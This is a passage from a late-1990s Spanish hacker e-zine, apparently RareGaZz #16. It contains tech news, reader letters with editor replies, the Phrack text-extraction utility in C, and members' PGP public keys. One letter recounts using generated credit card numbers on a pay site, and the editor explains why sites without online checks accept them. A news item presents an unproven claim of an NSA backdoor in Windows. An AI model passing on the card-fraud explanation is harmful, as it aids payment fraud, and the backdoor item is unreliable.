=--=--=--={ FRIGORIFICO CON CONEXION A INTERNET
Electrolux ha anunciado un nuevo frigorifico que permite la conexion a
Internet. El nuevo "Screenfridge" cuenta con una pantalla LCD de 13 pulgadas
sensible al tacto, un modem y un lector de codigos de barras, que, funcionando
conjuntamente, permiten realizar compras online. Para adquirir productos,
basta con pasar por el lector el codigo de barras de producto que se desee
adquirir y a¤adirlo a una lista de compras digitales; una vez completada la
lista del "super" basta com pulsar un boton de la pantalla y la informacion
sera remitida al centro comercial. Esta cibernevera sera comercializada en el
Reino Unido a partir del a¤o que viene.
http://www.electrolux.co.uk


=--=--=--={ VISA LLEVA EL CAJERO AUTOMATICO AL MOVIL
Hace un tiempo Visa Internacional, Barclaycard y Cellnet decidieron
colaborar para llevar al telefono movil los servicios de un cajero automatico.
El resultado de sus investigaciones se pondra en marcha el proximo mes de
abril en forma de proyecto piloto entre mil ciudadanos de la ciudad britanica
de Leeds.
Para utilizar este nuevo servicio, los usuarios deberan disponer del
modelo StarTAC de Motorola (http://www.mot.com) y una tarjeta BarclayCard con
la funcion Visa Cash.
Antes de realizar la operacion, el telefono preguntara al usuario, al
igual que hacen los cajeros automaticos, la cantidad que desea retirar (con un
limite de 50 libras esterlinas -12.250 pesetas-) y el numero secreto. El
dinero solicitado sera almacenado en la tarjeta a traves de la red digital GSM
de Cellnet y deducido de la cuenta del cliente.
Ademas de la retirada de dinero, los clientes pueden comprobar el
saldo de su tarjeta y recargarla desde cualquier punto donde haya cobertura.


=--=--=--={ DESCUBIERTA UNA NUEVA CLAVE EN WINDOWS
Descubierta una clave secreta llamada NSAkey de serie en todos los
sistemas operativos Windows. Se piensa que puede haberla puesto Microsoft
para que la empresa norteamericana de espionaje NSA (Agencia Nacional de
Seguridad) pueda penetrar y espiar en cualquier maquina de cualquier persona.


=--=--=--={ PLAGIO
Hemos descubierto un articulo nuestro plagiado. Concretamente es un
texto escrito por GuyBrush para la revista espa¤ola Pc-Actual y que no solo lo
han usado sin pedir permiso sino que han eliminado la firma y link a nuestra
web por esto:

*********************
*** Intrusos ***
*** de ***
*** Guante Blanco ***
*** by LordVader ***
************************************
*** lordvader@mixmail.com ***
***www.civila.com/hispania/fliper***
***miembro del HacK`S-wEb-RiNg ***
***http://come.to/HaCkS-wEb-RiNg ***
************************************

En la original pone:

GuyBrush
guybrush@cyberdude.com
http://raregazz.islatortuga.com

Despues de ponernos en contacto con el editor del ezine, este ha
modificado el articulo y nos ha comentado que no sabia nada. Nosotros lo
conocemos y sabemos que dice la verdad pues no es la primera vez que incluye
articulos nuestros y siempre ha respetado los enlaces.

Sin embargo, lordvader, autor del plagio, no ha respondido a
ninguno de nuestros mails sugiriendo una explicacion, asi que nos hemos visto
obligados a avisar a todo el mundo, desde este medio de comunicacion, de que
tengan cuidado con sus textos porque cuestan mucho de elaborar para que
luego llegue un espabilado y cambie tu nombre por el suyo.

Asi mismo hemos recomendado al anilla hack al que pertenece su web que
tomen medidas al respecto para no vuelvan a ocurrir casos asi.


=--=--=--={ HISPAHACK
El pasado 28 de mayo, el magistrado Juan Carlos Llavona Calderon
del Juzgado de lo Penal 2 de Barcelona, dicto la sentencia sobre el Caso
Hispahack, donde en un ridiculo montaje policial, intentaban incriminar a otro
grupo espa¤ol, acusado de delitos falsos, fue una chapuza, pues el peritaje de
lso ordenadores de los acusados los hizo la acusacion, total un circo tremendo
Resultado. Absolucion.
Un miembro de Hispahack, gano el concurso organizado por la prestigiosa
revista pcweek, informacion de como lo hizo en hispahack.ccc.de






----- { R16_15 } -------------------------------------------------------------

--------- { CORREO DEL LECTOR } ----------------------------------------------

--- { Editor }


____________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Wenas... Quisiera saber porque estan todos liados dentro del underground
hispano, pq tantos lios entre teams y cada vez q pueden se dan palos en los
e-zine's, por cierto, hay algun canal de irc tecnico donde lo unico q digan no
sean risas y le tomen el pelo a los lammers?, hay algun canal de raregazz
oficial?.

[Ok, Lo de liados realmente no vale la pena entrar en detalles sobre
el origen de esos lios, lo q hay que hacer es simplemente evitarlos,
cada uno lleva su e-zine como quiere y nosotros no podemos hacer nada
mas que evitar comentarios despectivos hacia otros grupos en nuestro
ezine.
Respecto a lo del IRC, cada miembro de raregazz tiene sus canales
preferidos, el q todos coincidimos es #phreak del irc-hispano y sobre
redes el #networking, NO hay ningun canal oficial de raregazz ni
queremos que halla, ya hay bastantes canales para cubrir todos los
topicos.]

____________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

El otro dia navegando por la red me encontre un programa muy completo
que me permitia generar numeros de tarjetas de credito,y su fecha de caducidad
hice varios para intentar entrar en una pagina de sexo, y ­No me dejo! pero en
otra si con el mismo numero ¨Por que?

[Bueno el echo en si aunque parezca raro, no lo es, ya que seguramente
te debio pasar lo siguiente, generaste un numero de tarjeta de credito
de ahora en adelante cc, y el programa te dio un codigo de caducidad,
bueno no quiere decir que ste sea el correcto, ni por un casual! Lo
mas que te pudo pasar es que el creador del programa dispusiera de una
tarjeta de ese banco, y numeros de cc correlativos guardan una misma
fecha de caducidad, lo que no implica que deban existir, por supuesto
que las tarjetas visas, se generanunas detras de otras, hay ciertos
intervalos en la nuemracion, para evitar precisamente esto, el fraude.
Ahora bien, si en una pagina pudiste entrar y en la otra no, debe ser
debido a que en la que podiste entrar no hacia una comprobacion
on-line de la veracidad de la tarjeta y en la otra si, por eso te la
rechazo]

____________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
¨Cuando sale RareGaZz #16? Estoy conectando desde un cybr, y estoy
impaciente.

[Bueno pues la estas leyendo, espero que te guste y disfrutes leyendola
tanto como nosotros haciendola]

____________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Holas, me preguntaba si podria incluir los ultimos numeros de su en
e-zine mi pagina web. Si no es molestia, contestenme a mi mail.

[Claro que no hay problema en que hagas eso, por supuesto, a cuanta
mas gente podamos llegar mejor, asi la informacion sera mas libre
"Un ordenador en cada hogar, una RareGaZz en cada ordenador"


Este, siento no encriptarlo pero he formateado el HD esta tarde y no
me baje el pgp todavia.

[Vaya, pues apunta bienla direccion www.pgpi.com, y te recomiendo que
te lo bajes cuanto antes, y por supuesto que lo uses]

____________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To: raregazz@iname.com
Subject: suscribe xxxxxxxxxxx@latinmail.com

[Haber si nos enteramos que ya no se hacen suscripciones automaticas,
que hay que ir a onelist, y se hacen desde alli, para mas informacion
pasate por la nueva seccion, Pandemonium]


____________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Les envio este mensaje por ke necesito cuentas piratas de internet
directo personal!

[Y yo un ordenador nuevo, no te joroba. Lo siento pero esa es una
informacion, de la que no disponemos]

Gracias

[De nada hombre, de nada]

____________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Estimado amigo te pido de favor que me ayudes con algo de informacion,
¨como se utilizan los exploits y para que sirven?

[Bueno los exploits son programas generalmente en c, que se aprovechan
de un fallo informatico, vease Bug]

tengo una coleccion de exploits, pero no los se utilizar ayudame y si te sirve la coleccion te la
puedo enviar con mucho gusto.

[En vez de eso porque no te pones en contacto con nosotros para
colaborar en la seccion de bugs y exploits?]

por otra parte y abusando de tus conocimientos dime ¨como se utilizan los bugs
y para que sirven?

[Mis conocimientos? Puff pues son casi nulos, mi arte Jedai esta por
los suelos, pero esta pregunta me la se, que suerte tengo :o) Bueno
los bugs son fallos y tal como lo preguntas te estas refiriendo a
fallos en programas o S.O. El significado etimologico de Bug, viene de
cuando los primeros ordenadores en el M.I.T ocupaban grandes espacios
a veces algunos insectos se posaban en sus placas y ocasionaban corto-
circuitos, Bicho -> Bug en ingles. ­A bug live! :o)]


____________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Gante, me pueden decir de donde consigo los numeros de RareGaZz??
porque los que estan en la web no existen mas!!

[Pues a nosotros nos funcionan los links revisa la url actualmente es:
raregazz.acapulco.uagro.mx]

____________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






---- { R16_16 } --------------------------------------------------------------

-------- { Phrack Magzine Extraction Utility } -------------------------------

--- { Phrack Magazine }

Bueno como veis hemos adoptado tambien el extractor para facilitar la
tarea a la hora de extraer texto de los articulos, para una mas rapida locali-
zacion. Incluimos la clasica version realizada por Route y Sirsyko, y una
nueva version para windows.


<++> R16/UTILS/extract.c
/* extract.c by Phrack Staff and sirsyko
*
* (c) Phrack Magazine, 1997
* 1.8.98 rewritten by route:
* - aesthetics
* - now accepts file globs
* todo:
* - more info in tag header (file mode, checksum)
* Extracts textfiles from a specially tagged flatfile into a hierarchical
* directory strcuture. Use to extract source code from any of the articles
* in Phrack Magazine (first appeared in Phrack 50).
*
* gcc -o extract extract.c
*
* ./extract file1 file2 file3 ...
*/



#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
#include <dirent.h>

#define BEGIN_TAG "<++> "
#define END_TAG "<-->"
#define BT_SIZE strlen(BEGIN_TAG)
#define ET_SIZE strlen(END_TAG)

struct f_name
{
u_char name[256];
struct f_name *next;
};

int
main(int argc, char **argv)
{
u_char b[256], *bp, *fn;
int i, j = 0;
FILE *in_p, *out_p = NULL;
struct f_name *fn_p = NULL, *head = NULL;

if (argc < 2)
{
printf("Usage: %s file1 file2 ... filen\n", argv[0]);
exit(0);
}

/*
* Fill the f_name list with all the files on the commandline (ignoring
* argv[0] which is this executable). This includes globs.
*/

for (i = 1; (fn = argv[i++]); )
{
if (!head)
{
if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(1);
}
strncpy(head->name, fn, sizeof(head->name));
head->next = NULL;
fn_p = head;
}
else
{
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(1);
}
fn_p = fn_p->next;
strncpy(fn_p->name, fn, sizeof(fn_p->name));
fn_p->next = NULL;
}
}
/*
* Sentry node.
*/

if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
{
perror("malloc");
exit(1);
}
fn_p = fn_p->next;
fn_p->next = NULL;

/*
* Check each file in the f_name list for extraction tags.
*/

for (fn_p = head; fn_p->next; fn_p = fn_p->next)
{
if (!(in_p = fopen(fn_p->name, "r")))
{
fprintf(stderr, "Could not open input file %s.\n", fn_p->name);
continue;
}
else fprintf(stderr, "Opened %s\n", fn_p->name);
while (fgets(b, 256, in_p))
{
if (!strncmp (b, BEGIN_TAG, BT_SIZE))
{
b[strlen(b) - 1] = 0; /* Now we have a string. */
j++;

if ((bp = strchr(b + BT_SIZE + 1, '/')))
{
while (bp)
{
*bp = 0;
mkdir(b + BT_SIZE, 0700);
*bp = '/';
bp = strchr(bp + 1, '/');
}
}
if ((out_p = fopen(b + BT_SIZE, "w")))
{
printf("- Extracting %s\n", b + BT_SIZE);
}
else
{
printf("Could not extract '%s'.\n", b + BT_SIZE);
continue;
}
}
else if (!strncmp (b, END_TAG, ET_SIZE))
{
if (out_p) fclose(out_p);
else
{
fprintf(stderr, "Error closing file %s.\n", fn_p->name);
continue;
}
}
else if (out_p)
{
fputs(b, out_p);
}
}
}
if (!j) printf("No extraction tags found in list.\n");
else printf("Extracted %d file(s).\n", j);
return (0);
}

/* EOF */
<-->

Y la version windows!!!

<++> R16/UTILS/extract-win.c !e519375d
/***************************************************************************/
/* WinExtract */
/* */
/* Written by Fotonik <fotonik@game-master.com>. */
/* */
/* Coding of WinExtract started on 22aug98. */
/* */
/* This version (1.0) was last modified on 22aug98. */
/* */
/* This is a Win32 program to extract text files from a specially tagged */
/* flat file into a hierarchical directory structure. Use to extract */
/* source code from articles in Phrack Magazine. The latest version of */
/* this program (both source and executable codes) can be found on my */
/* website: http://www.altern.com/fotonik */
/***************************************************************************/


#include <stdio.h>
#include <string.h>
#include <windows.h>


void PowerCreateDirectory(char *DirectoryName);


int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst,
LPSTR lpszArgs, int nWinMode)
{
OPENFILENAME OpenFile; /* Structure for Open common dialog box */
char InFileName[256]="";
char OutFileName[256];
char Title[]="WinExtract - Choose a file to extract files from.";
FILE *InFile;
FILE *OutFile;
char Line[256];
char DirName[256];
int FileExtracted=0; /* Flag used to determine if at least one file was */
int i; /* extracted */

ZeroMemory(&OpenFile, sizeof(OPENFILENAME));
OpenFile.lStructSize=sizeof(OPENFILENAME);
OpenFile.hwndOwner=HWND_DESKTOP;
OpenFile.hInstance=hThisInst;
OpenFile.lpstrFile=InFileName;
OpenFile.nMaxFile=sizeof(InFileName)-1;
OpenFile.lpstrTitle=Title;
OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;

if(GetOpenFileName(&OpenFile))
{
if((InFile=fopen(InFileName,"r"))==NULL)
{
MessageBox(NULL,"Could not open file.",NULL,MB_OK);
return 0;
}

/* If we got here, InFile is opened. */
while(fgets(Line,256,InFile))
{
if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */
{
Line[strlen(Line)-1]='\0';
strcpy(OutFileName,Line+5);

/* Check if a dir has to be created and create one if necessary */
for(i=strlen(OutFileName)-1;i>=0;i--)
{
if((OutFileName[i]=='\\')||(OutFileName[i]=='/'))
{
strncpy(DirName,OutFileName,i);
DirName[i]='\0';
PowerCreateDirectory(DirName);
break;
}
}

if((OutFile=fopen(OutFileName,"w"))==NULL)
{
MessageBox(NULL,"Could not create file.",NULL,MB_OK);
fclose(InFile);
return 0;
}

/* If we got here, OutFile can be written to */
while(fgets(Line,256,InFile))
{
if(strncmp(Line,"<-->",4)) /* If line doesn't begin w/ "<-->" */
{
fputs(Line, OutFile);
}
else
{
break;
}
}
fclose(OutFile);
FileExtracted=1;
}
}
fclose(InFile);
if(FileExtracted)
{
MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK);
}
else
{
MessageBox(NULL,"Nothing to extract.","Warning",MB_OK);
}
}
return 1;
}


/* PowerCreateDirectory is a function that creates directories that are */
/* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */
void PowerCreateDirectory(char *DirectoryName)
{
int i;
int DirNameLength=strlen(DirectoryName);
char DirToBeCreated[256];

for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */
{ /* create '/' */
if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/')||
(i==DirNameLength-1))
{
strncpy(DirToBeCreated,DirectoryName,i+1);
DirToBeCreated[i+1]='\0';
CreateDirectory(DirToBeCreated,NULL);
}
}
}
<-->





----- { R16_17 } -----------------------------------------------------------

--------- { Llaves pgp } ---------------------------------------------------

--- { PGP }


<<::RareGaZz::>> // raregazz@iname.com
<++> R16/PGP/RareGaZz.asc
Tipo Bits/Clave Fecha Identificador
pub 2048/F8C8C03D 1999/09/23 RareGaZz <raregazz@iname.com>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia

mQENAzfpkq8AAAEIAL35iW/14Icw0kaHzkmJ1abFWa8SZ/cnYmbfVtyEuht8KXGd
2g5C+eZIr3OI+/AeD33zqui7GWqrQxI0ulEQBrmK0lqp4eedY1620wvY/1t2THIu
BlaACgR5Ru6tQVF92JmsfDjBEjpG4/aHhMUutkTlMSe+RgBi149MRGh8Hbi7fDQ/
g6YA256Hn5/R9LOi4JwbWuIW9R3W2/Yl+Z3QQEWRh3xR/e0gBluiAQpbar6+r4LI
AsXp4QfeIsqWcn/J7jeWgH8+y/z415ndw9CcDETsCtEk4HhJUWJnb0sO6wBgL5FJ
ddwuB+2cE4h1N4xYHDbiPT56H8fY/+WLkfjIwD0ABRG0HVJhcmVHYVp6IDxyYXJl
Z2F6ekBpbmFtZS5jb20+iQEVAwUQN+mSr//li5H4yMA9AQG7uAf9GuiROc5NRfci
m704KKCVD6DlbuxBTe/B7admloV3MlCQf9lhwvWPFVP6qkOBDnErlRhTyQOFjR0K
t3alJxrIPsQBs1wArYUJJ3csB6O2N7i+DX5YzhORH+u5dOzTLZ5/tV1pfY94Ot/S
vC/z8YOT3xdZ4IZJ4R5LUw2DBAmu1s7usijuhxr5EVaYMZVZt2DNKpUSo45fVg+U
rtbWHJLcA36cDMQuYkEhkJ7Td0f2NdJRK61RjDZA8TgEbRbsQ6xAai2KxNHTlpx/
23y8EwylUEBlNmK8GdazbN/n3y2RYV3+8NhMSl4eDVVVXOe6XM4VNEsveem2biXJ
cTBQI5bdoA==
=+Mb1
-----END PGP PUBLIC KEY BLOCK-----
<-->


GuyBrush // guybrush@cyberdude.com
<++> R16/PGP/GuyBrush.asc
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.5.3i for non-commercial use <http://www.pgpi.com>

mQENAzfClxwAAAEIALxc0/GQYe+i2yu0/Szk1skW9xg+4MLMvvBUcmSdHxLBjw4A
691JscVA0i9/Nm3gK/kOFNEQ5aw46vmoxCmeQX5Klcu9D5XLJPmdoE4fJ10gAt++
l33AZpwwnTEdZm0KtNmwUvi0AovsGxjikEHastBFgNEnhhiZGZYQiWHRKC1hzzWH
70PFeEcWPScJsPoYNYn6eNn3tu12kCl+T3CONWIfW8225ZWY6MrJtUgKDlDGpZip
U2lezccbh2cAIeLtz3a11lTotMYvBZeG54jF/uK0i6lv0nhlt+88jVu1/HR+/GgY
y1Zp7GgqyE+j2pqTe9TdKVOKOG4SoPFtJZWJYGcABRG0IUd1eUJydXNoIDxndXli
cnVzaEBjeWJlcmR1ZGUuY29tPokBFQMFEDfClxyg8W0llYlgZwEBVWQIAKQFkb8Y
MHyBTu64TVEh9+PJd5Cw+uNf1OYwHWIMJiNGScqEJPxYXxd4A1F7Bixchph6ODNB
r9XoEm8lux67nIPPhsj1QxqTr/0bin0gpctVIffL+tn1vhNW4NnhkeF3a4ZZdKim
2ZrVxOK2zWTTzs4owTp8tFwMtNKRs+KxKWL2N3AWvPeWxey7fDRdt15Wxw8/UFpL
kO0sSBZjL8WKMeoVfWr691cNJ/rXdG5b18TXTj7sSp2T3/SvhDfWupo8CSSKimES
h1sgYhKHZ11kJ6oaGQbH4W7jAVCD0DqghAMQMaUDnvfuGYZtzvjNbwbqEByhXn21
M1EiyA1rrv2vukA=
=yIew
-----END PGP PUBLIC KEY BLOCK-----
<-->


PaTa // pata666@bigfoot.com
<++> R16/PGP/PaTa.asc
Tipo Bits/Clave Fecha Identificador
pub 2048/82F6A245 1999/09/23 PaTa

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia

mQENAzfplv4AAAEIANGO02ApG4X6zU51Vn/TnS1v/nwV0D9CN7phJr6O0u8ziTdc
ZC/A3Oxt95FLzR0NZosTbH959wJoPOEAza9v7pcpw/aSzQPdLrV+OtxqeOKjCcRg
t46RI5WETDmjtvU3mz1TUDGo1N/jblhvNfjP35+2jVNBjf78Gxdlneb2zzL6sqiH
36vulCWzPiPug7VqyIR3+bDT6Sd/Z67/FR07zTxFu4hnbyYsRutYF2wrYgkjNIfs
4YmA7D4eVhgfBh23GgR0CmvYV2UMvm8Lp2/lb+2AIrRrJBqe4gqzn9yMxvprTVp1
WIOFOzplViAYxwc39hehvy65OFqSNbsg+4L2okUABRe0BFBhVGGJARUDBRA36Zb+
Nbsg+4L2okUBAWfUB/4i38Zh7eeGXril6+oaU3b8+lSmIVfqJ9V6cOH+IniI+/g1
K09ikV+Otn0nMO8ry98TT449f8MVw69eJeauiwKA3SBukHP9v3NjcxNh2qv1o6A0
TvpSyCn9B3u3FLr48oRPaegI32+YaXU+y48iwuB3qOUX8Y1ImoeZPCh/QgyjMtpp
kwaoLQV760oy050MBXy9nmQcjad/FENpMA/FJNJDmWAhykhD3ew3/EO8AVJgUwci
I+FHOjYgZ4UMnIwbGXUGADDVS/7zKRtCbdfbspNoyh+yLZACETSmjzljzV7Za9+r
Ga/lE4aUvuVGqEdHQrc+4yzH6l2XvvauBPuBNo7Z
=yoxv
-----END PGP PUBLIC KEY BLOCK-----
<-->


enan0 // ditiemef@iname.com
<++> R16/PGP/enan0.asc
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.5.3i for non-commercial use <http://www.pgpi.com>

mQENAzempxQAAAEIAMQBupiOs31AKt/ifyBMEkdCd5rs9kNamiIopqtEQ8IvuFXC
5/14ZmGXGKgeFgjThIpKKrXall1NHhX0qn/R27jTIH2JNVGR8R3tniQ+t5IYEfKs
pp8Ton03q6aFDii3MmUCWrCchTihu+P/diUs4sCfPNq5hgfMkvKyzA5494XuhgW5
O5ByUxehCZqvmtktRing/WWkcvJ2uz9+V9RliwdKeO1Ar60DrE7unssOZbXHTtPY
aG6m5BVQJ8hN1fEcuZs47vRxTPTSBEU9rQiv/FmwoiUN4q1U5RxclwfEqfeWYsiW
R2UsBhDpU5cjtpMoV/1UuOct8NYL7Oh0JoFsR80ABRG0FURpdGllbWVGIGEuay5h
LiBlbmFuMIkBFQMFEDempxTs6HQmgWxHzQEBBdAH/3Ddk+MmcpLC2btZIj1iyup2
vRiosKWO9TrVxkJyOEEqSQrsKCABMJLNzVBeM6xDzGMfoGtwHJ45PE7w/EOHrN9N
Ma/4QRAOXFiflhY813sg13F0jWUl7Ehr4auJKGPuEogqF3uadiHt12f9d/7J7tO5
EJgZfCU9BrJIpLW2k793olg+pQ2pUKtvuo9nUxK1UiyuT1T6wp/UDRPJFM/InhNZ
nig4XtW5+UtIpOGugkO4v2IqfJq6b54qhQPv9eCNG+Zgy5mMV63sAj5hoeEXp4FQ
Ld1eCoXoVs9mILNbGS4FyUiri3m9ee3g+gvNE9f/Wxzf3xVcWjoCDCuQgTdH3wc=
=x6LW
-----END PGP PUBLIC KEY BLOCK-----
<-->


Cytorax // cytorax@bigfoot.com
<++> R16/PGP/Cytorax.asc

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.0 for non-commercial use <http://www.pgp.com>

mQCNAzSFCWgAAAEEAMfbmLIFrwArZmk6mM9B1kDJb9TFWpBpF5GoWfZyZvqlOMV0
e/0ngWnisCQcbZy42knU3brXuwyOzyRZ4DrfPfnGmShx8FpEM/uCszQYF00JQsWD
95Emq1I5d0V+BUAtoaMeCZn6dU5sgteImgIAxDR5lx4r8yWq70jBPfwtI2dNAAUR
tB1DeXRvcmF4IDxDeXRvcmF4QGJpZ2Zvb3QuY29tPokAlQMFEDSFCWlIwT38LSNn
TQEBSeoEAMBzsNwdq1A4EXT9ZkEwgSCeLofv7rUoJn4w75FvEBCfofijDWUwCkQJ
FHGwcnAW4xg0wJzs4MByjSEvLnxCB++BmwGM6l8/NiyrolDk7rnOaHI1tU0wcCmz
oNhHQdrfL0zmRNlR5QvXqlPnRxCB/GgLXLyrJGtvoDtv6U3SaL4s
=Xw7I
-----END PGP PUBLIC KEY BLOCK-----
<-->


Senpai // senpai@cyberdude.com
<++> R16/PGP/Senpai.asc
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.5.3i for non-commercial use <http://www.pgpi.com>

mQGiBDfpV1YRBAD4mOWxT9qnoYYSuWs/Gn8H3LqoHAC5lM2D9U2HpM3l9DxJv+I9
qTeTpVhW0tJiABxPmyoqDVH60TY6DEdbe0m1ve3zANrE9EzB7cN+pLcrGQSH/iDD
GFTK0ODZ5Hm+J8kzo7Ytr2+YEB9QypbY0ywOuJcCmA3yLSuS0cFf8nSUmQCg//FQ
B1vLb6OicChdYSQENurCuwcD+wbyfH56s+RoCGHe7mjJMuiAxNggMcoxLFQ9+vq9
aV3pIjvqy0V9awPnmNCx42LLhZoTJnaR0en1HVWemgSxIkOgTMeXOmw1pxKysoZg
TfBN+KMY1/2MG/k4MEB6MWSJv0sOx2P/ZzbzKh/DFdbBRLqE1U8Gob4/6syPexIv
T9h6A/wNcMeNjIAz/5yFxvqYAOcA36kqo1I0foGRk5MRS0vgg3HwJz1YhZQJL7e7
P7lRgc/w/XrayqMsmSUBx5/5wz4qsvDT/wKMwGrP2yLMpqAe+pburZtSzO84o2fu
Bb16ncgdJIBupfrXeYy4+vj5gFZEl9BZQExlYJ45EvOFB1mUNrQdU2VucGFpIDxz
ZW5wYWlAY3liZXJkdWRlLmNvbT6JAEsEEBECAAsFAjfpV1YECwMCAQAKCRBXWR11
AfxPu8pDAJ9jvT0u9JOQ4N/sGzKh6yGQQdM4qACfT9XNY4ccI5zL5UloIJMWlON/
6TW5Ag0EN+lXVxAIAPZCV7cIfwgXcqK61qlC8wXo+VMROU+28W65Szgg2gGnVqMU
6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZSTz09jdvOmeFXklnN
/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscBqtNbno2gpXI61Brwv0YAWCvl9Ij9
WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFstjvbzySPAQ/ClWxiNjrtVjLhdONM0
/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISnCnLWhsQDGcgHKXrKlQzZlp+r0ApQ
mwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVekyCzsAAgIH/1ULeMITfWgv4LDr4Y+Y
mM789woKdZ4VlRj6ojGqsG/Xg4Y+VlM+kKBnP9K1OBFD2hC/VCSO6QZEYZxEWNeO
z+IMdz+h8pZqF/zlEsWdUBi7kT5VX79U5jsV+9LuhdtgCbSCIwU36UwxGvemPQjU
gD6MuC9kxppGf6wiAmwvavd0tbFO3o8l2ZwoOzIJLTzdQsItxwhBS+KRR/K772SI
e0uYAoDsmKEJbwTK41mH9UI0aajJhYgRwlyAT1/oKbKPaY/DwAlD+lcfIE4sK5c7
KDadTFbO3zlVhEF/pZmjxLBVZ40X99KPHNxyZWTVsYLi6Ug3BNQQ9zHCqvJX6xxK
SWyJAEYEGBECAAYFAjfpV1cACgkQV1kddQH8T7uUKwCg7RtQkck8DjFgFnq7jTRh
DpcRQvgAnRECDV13AaX/R925fdR+RGX0aghf
=Ozjb
-----END PGP PUBLIC KEY BLOCK-----
<-->


Yo_Soy // varf@bigfoot.com
<++> R16/PGP/Yo_Soy.asc
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.5.1 for non-commercial use <http://www.pgp.com>

mQGiBDXd390RBAD2O5PdPfbB/Na6xe8WZQhqgbI9ZN8mo5ra8AphgGJm9nzJmDNr
K4+wGrIdeI1I7bEv+5L2t7oz2Lye+U2wGGFfPvdAit7Vh50eim0OTQWayT/EuPLA
bYUJz0AtrQ85b+KYmF7LEh5PbRSOaxIqCWq1sDloEnxYEqCbXBlTIe/UyQCg/8Yg
cwFZkonW1UXdQ9Y1THdnaL8EANMLBs371kkOOBXElsoGFtdD8VvCEi7Dd1zXbWsp
9dGBkTPp1OLVR9IdktjbxEizPL2CDxR+O5Wp481i+9Rv+yrl63LX505pfjHlFKmh
fWg7eQGMbu6iQuDLpds+baN3EtxFF6xy9pDAeHXmHw69wZMD1wnCfdO4pfDEB1IX
Kgh9A/9h9NLl2McJktmt+l8MzD4mMFHmTH29nvUvHiw03Ledpf3Jx3DLX7sdAZny
dLgdCvoZPbT575gpNZ3HYpLnqvTOplHqzLN4skQUTWIl2YSHqXJLYuT0CXVHHdd5
2eSc7RzPUeFx4F9PkOi7DEtW2sFoji3dGNjcFHie0ktzOttQ6bQZWW9fU295IDx2
YXJmQGJpZ2Zvb3QuY29tPokASwQQEQIACwUCNd3f3QQLAwIBAAoJENESGWgQQAWY
Ef8AoNKfkQ0TUZ2i6M9M+Ao79Mst5hkcAJ9ojAytqkF9HW/87ucLwUeXbhP70LkC
DQQ13d/fEAgA9kJXtwh/CBdyorrWqULzBej5UxE5T7bxbrlLOCDaAadWoxTpj0BV
89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N286Z4VeSWc39uK50
T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/RgBYK+X0iP1YTknb
zSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2Ou1WMuF040zT9fBdX
Q6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZyAcpesqVDNmWn6vQClCbAkbT
CD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAggAu2giagpJiqf2Yjk/wb8aAd3a
b0UV6mZ2T6pzXV7O4xwko9IWNaCYDCs5xJloH0lr8mfgTujO1EnyydKPOG3jjFFz
4Do2vZ1VMnzLQ25tZMYHOn+8qum25onXgKbWU4wLfZWoMNy88NUI+ubjRmywLuGB
/+jptPC6h33teJYqoqSoX7AXH/HtnO6pTjdXZQvCkNpAtddjCc/7w7ydjgoSmz9f
wvfPs/fXBfJ0/hZFsEELZJicE5PNQ8PKdmQL56ttiuYylk4C2IHjF9g/32AMo/TH
